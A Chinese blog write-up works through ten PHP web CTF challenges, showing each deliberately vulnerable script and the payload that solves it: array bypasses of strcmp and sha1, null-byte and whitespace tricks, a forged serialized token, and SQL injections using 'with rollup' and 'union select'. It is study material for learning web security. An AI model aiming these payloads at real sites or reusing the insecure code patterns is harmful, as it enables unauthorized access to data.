【CTF】10个经典的CTF-web题目学习


对CTF不是很感兴趣,但是从中一些php的安全知识还是不错的,从这个项目中找了10个案例,自己本地搭建环境尝试分析,这篇文章记录一下

extract

<?php $flag='xxx'; extract($_GET);  if(isset($shiyan))  {  $content=trim(file_get_contents($flag));  if($shiyan==$content)  {  echo'ctf{xxx}';  }  else  {  echo'Oh.no';  }  } ?>

extract函数是把数组里面的键、值映射为变量、值。

该题条件是$shiyan==$content

$shiyan是可控的,而$content为读取一个文件名为$flag的文件内容。

尝试网上的payload:?shiyan=&flag=1

这个思路是覆盖$flag为1,file_get_contents读取1这个不存在的文件内容为空,然后满足条件,读出了flag:

image.png

 

我想到一个加强版:

<?php $flag='xxx'; extract($_GET);  if(isset($shiyan))  {  $content=trim(file_get_contents($flag));  if($shiyan==$content && $shiyan=='mkdd')  {  echo'ctf{xxx}';  }  else  {  echo'Oh.no';  }  } ?>

我在条件里面加了一个 $shiyan=='mkdd',这个时候上面的方法就不可用了,因为问题在于怎么让file_get_contents读取一个文件,内容为mkdd?这时候需要用到php://input伪协议,直接把post的内容传给$content即可

image.png

 

strcmp

 

<?php $flag = "flag{xxx}"; if (isset($_GET['a'])) {  if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。   //比较两个字符串(区分大小写)  die('Flag: '.$flag);  else  print 'No'; }  ?>

strcmp是对两个变量进行比较,完全相同才返回0,题目的意思就是你传入一个和flag完全相同的值,我就告诉你flag...这不扯淡吗

那肯定还有某些情况下也能返回0?是的,strcmp传入数组的话,会返回null , 而null==0 是true

image.png

绕过过滤的空白字符

<?php  $info = ""; $req = []; $flag="flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";  ini_set("display_error", false); //为一个配置选项设置值 error_reporting(0); //关闭所有PHP错误报告 # 条件一,要设置number参数 if(!isset($_GET['number'])){  header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt   die("have a fun!!"); //die — 等同于 exit()  }  foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式  foreach($global_var as $key => $value) {  $value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)  is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串  } }   function is_palindrome_number($number) {  $number = strval($number); //strval — 获取变量的字符串值  $i = 0;  $j = strlen($number) - 1; //strlen — 获取字符串长度  while($i < $j) {  if($number[$i] !== $number[$j]) {  return false;  }  $i++;  $j--;  }  return true; }  # 条件二 number的值不能是数字 if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 {   $info="sorry, you cann't input a number!";  }  # 条件三 trim处理过的number要等于取整之后的值 elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值 {   $info = "number must be equal to it's integer!! ";  }  # 条件四 trim处理过的number经过反转之后要等于其本身 else {   $value1 = intval($req["number"]);  $value2 = intval(strrev($req["number"]));   if($value1!=$value2){  $info="no, this is not a palindrome number!";  }  else  {   if(is_palindrome_number($req["number"])){  $info = "nice! {$value1} is a palindrome number!";  }  else  {  $info=$flag;  }  }  }  echo $info;

 

我对原题进行了简化分析,题目相当于

 

<?php $flag="flag{xxx}";  // 判断是否为回文 function is_palindrome_number($number) {  $number = strval($number); //strval — 获取变量的字符串值  $i = 0;  $j = strlen($number) - 1; //strlen — 获取字符串长度  while($i < $j) {  if($number[$i] !== $number[$j]) {  return false;  }  $i++;  $j--;  }  return true; }   $a=$_GET['number']; # 需要同时满足以下四个条件 if (!is_numeric($number) # 1、$number不能是数字  && trim($number)==strval(intval(trim($number))) # 2、$number不能出现字母和大部分符号  && intval(trim($number))==intval(strrev(trim($number))) # 3、strrev处理之后要和原值相等  && !is_palindrome_number(trim($number))){ # 4、trim处理之后不能是回文   echo $flag; } else {echo "you did not get the flag"}  ?>

分析

1、不能是数字容易满足 比如abc

2、不能出现字母,那abc就不行了,因为有trim,所有考虑

空白字符+数字 但是空白字符有讲究,如果加的是%20,仍然不满足1,比如%201234仍然是数字

trim支持的空白字符

"\0" - NULL 对应%00

"\t" - 制表符 对应%0c

"\n" - 换行 对应%0a

"\x0B" - 垂直制表符 %0b

"\r" - 回车 %0d

" " - 空格 %20

测试发现只有%00满足,所以到这步骤 满足条件的可以是 %00123或者123%00

3、反转之后要和原值相等,这边 %00121 是符合的,因为经过trim后 变成121明显符合

4、要在trim处理之后不能是回文,而121是回文。。。到这步发现是不是走投无路了?此时折回第3步,有没有什么字符串能在strrev之后和原值相等而且还不是回文形式的

5-1、writeup

方法一:数字前加上+号 对应%2b,此时strrev函数处理+121时会当做处理121(其实是我的猜想)因此最终的payload为 %00%2b121 或者 %2b121%00,而121%2b%00是不满足的(也顺应了我的猜想,+毕竟是放在数字前面的,表示正数)

image.png

5-2、方法二:利用intval函数溢出,intval函数在32位机器只支持处理到2147483647,也就是当我们传入大于2147483647的数后,仍然返回2147483647

而2147483647利用strrev处理后的数字为7463847412,也是大于2147483647的,因此intval('2147483647')=intval(strrev('2147483647'))

image.png

这样也是满足3的,最终的payload就是 %002147483647 或者2147483647%00

5-3、方法三:利用科学计数法,和方法一类似,+0e0表示“正0乘以e的0次方”,所以payload可以是 %00%2b0e0 或者 %00%2d0e0

image.png

多重加密

<?php  # 包含common.php  include 'common.php';  # 合并  $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);    class db  {  public $where;   ## 魔术方法,执行反序列化的时候调用,后面再研究  function __wakeup()  {  if(!empty($this->where))  {  $this->select($this->where);  }  }   function select($where)  {  # 函数执行一条 MySQL 查询。  $sql = mysql_query('select * from user where '.$where);   # 从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false  return @mysql_fetch_array($sql);   }  }   if(isset($requset['token']))  //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。  {  $login = unserialize(gzuncompress(base64_decode($requset['token'])));  //gzuncompress:进行字符串压缩  //unserialize: 将已序列化的字符串还原回 PHP 的值   $db = new db();  $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');  //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。   if($login['user'] === 'ichunqiu')  {  echo $flag;  }else if($row['pass'] !== $login['pass']){  echo 'unserialize injection!!';  }else{  echo "(╯‵□′)╯︵┴─┴ ";  }  }else{  header('Location: index.php?error=1');  }  ?> 

题目还加了sql语句,其实与核心部分是无关的,我也简化一下题目

 

<?php  $flag="flag{xxxx}";  session_start();  $requset = array_merge($_GET, $_POST, $_SESSION,$_COOKIE);  if(isset($requset['token'])){  $login = unserialize(gzuncompress(base64_decode($requset['token'])));  if($login['user'] === 'ichunqiu')  {  echo $flag;  }  } ?> 

 

分析

最终需要的条件是$login=array('user'=>'array') 也就是 unserialize(gzuncompress(base64_decode($requset['token'])))==array('user'=>'ichunqiu')

也就是gzuncompress(base64_decode($requset['token']))==serialize(array('user'=>'ichunqiu'))

也就是base64_decode($requset['token'])==gzcompress(serialize(array('user'=>'ichunqiu'))

也就是$requset['token']==base64_encode(gzcompress(serialize(array('user'=>'ichunqiu'))))

因此最终答案是eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

image.png

因缺思汀的绕过

 

<?php error_reporting(0);  # 生成表单 if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {  echo '<form action="" method="post">'."<br/>";  echo '<input name="uname" type="text"/>'."<br/>";  echo '<input name="pwd" type="text"/>'."<br/>";  echo '<input type="submit" />'."<br/>";  echo '</form>'."<br/>";  echo '<!--source: source.txt-->'."<br/>";  die; }   # 过滤器,不能出现"and|select|from|where|union|join|sleep|benchmark|,|\(|\)" function AttackFilter($StrKey,$StrValue,$ArrReq){  if (is_array($StrValue)){  $StrValue=implode($StrValue);  }  if (preg_match("/".$ArrReq."/is",$StrValue)==1){  print "水可载舟,亦可赛艇!";  exit();  } } $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; foreach($_POST as $key=>$value){  AttackFilter($key,$value,$filter); } $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); if (!$con){  die('Could not connect: ' . mysql_error()); } $db="XXXXXX"; mysql_select_db($db, $con);   # 注入点$_POST['uname'] $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; $query = mysql_query($sql);  # 只能返回一行 if (mysql_num_rows($query) == 1) {  $key = mysql_fetch_array($query);  if($key['pwd'] == $_POST['pwd']) {  print "CTF{XXXXXX}";  }else{  print "亦可赛艇!";  } }else{  print "一颗赛艇!"; } mysql_close($con); ?>

分析

注入点是

$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";

条件:

$key['pwd'] == $_POST['pwd']

也就是说先执行一个sql语句,然后取出pwd字段与传的pwd比较,相等即可。如果没有过滤器,可以通过注入点查出密码,也就没啥难度了。

这边用到with rollup强行增加了一行新的虚拟记录,这样pwd就是null了

image.png

返回null的这条记录,则最后的语句是

admin' group by pwd with rollup limit 1 offset 1

image.png

成功获取flag

image.png

 

ereg正则%00截断

 

<?php  $flag = "flag{xxx}";   if (isset ($_GET['password'])) {  # password必须只包含保护数字和字母  if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)  {  echo '<p>You password must be alphanumeric</p>';  }  else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)  {  # 密码中必须包含*-*  if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置  {  die('Flag: ' . $flag);  }  else  {  echo('<p>*-* have not been found</p>');  }  }  else  {  echo '<p>Invalid password</p>';  }  } ?>

需要满足

1、password必须只包含保护数字和字母,ereg正则且密码中要包含*-*

2、密码长度小于8

3、密码的值要大于9999999

分析

1、利用ereg%00绕过的特性 aaaa%00*-* 绕过1

2、利用科学计数法绕过2和3,最终答案1e9%00*-* ,刚好%00传到后台被解析为1个字符,总共7个字符。1e9=1000000000,满足>9999999

其他:9999999设置的不够极限,还可以往后设置两位

image.png

sha()函数

<?php  $flag = "flag{xxx}";  if (isset($_GET['name']) and isset($_GET['password'])) {  if ($_GET['name'] == $_GET['password'])  echo '<p>Your password can not be your name!</p>';  else if (sha1($_GET['name']) === sha1($_GET['password']))  die('Flag: '.$flag);  else  echo '<p>Invalid password.</p>'; } else  echo '<p>Login first!</p>'; ?>

要求name和password不相等,但是sha1函数处理过之后要相等,那么直接传入name[]=1&password[]=2

因为sha1函数传入数组会返回false,而false===false的结果就是true了

image.png

SESSION验证绕过

 

<?php $flag = "flag"; session_start(); if (isset ($_GET['password'])) {  if ($_GET['password'] == $_SESSION['password'])  die ('Flag: '.$flag);  else  print '<p>Wrong guess.</p>'; } mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000)); ?>

答案是直接传password为空,然后再把session整个删掉。

image.png

 

md5密码绕过

<?php  //配置数据库 if($_POST["name"] && $_POST["passwd"]) {  $conn = mysql_connect("127.0.0.1", "root", "admin");  mysql_select_db("test",$conn) or die("Could not select database");  if ($conn->connect_error) {  die("Connection failed: " . mysql_error($conn)); } //赋值 $user = $_POST["name"]; $pass = md5($_POST["passwd"]); //sql语句 // select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' # // ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456 $sql = "select passwd from users where name='$user'"; $query = mysql_query($sql); if (!$query) {  printf("Error: %s\n", mysql_error($conn));  exit();  } $row = mysql_fetch_array($query, MYSQL_ASSOC); if ($row) echo 1;  if (($row["passwd"]) && (!strcasecmp($pass, $row["passwd"]))) {   echo "flag{xxx}"; } else {  echo("<p>Log in failure!</p>");  } } ?>

关键逻辑:选出对应用户名的密码的md5值

$sql = "select pw from php where user='$user'";

取得用户输入的密码用md5函数处理,与上述md5值比较

破解思路是让上述语句返回一个用户可控的md5值,然后密码对应即可,利用了注入

name=' union+select+'202cb962ac59075b964b07152d234b70'%23&passwd=123

image.png

urldecode

 

<?php if(eregi("hackerDJ",$_GET["id"])) {  echo("<p>not allowed!</p>");  exit(); }  $_GET["id"] = urldecode($_GET["id"]); if($_GET["id"] == "hackerDJ") {  echo "<p>Access granted!</p>";  echo "<p>flag{xxx}</p>"; } ?>

其实参数传过去的时候默认就会做一次url解码,而服务端代码本身又写了一个解码函数,那么可以传一个二次url编码的参数过去。payload是id=%2568ackerDJ

image.png


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM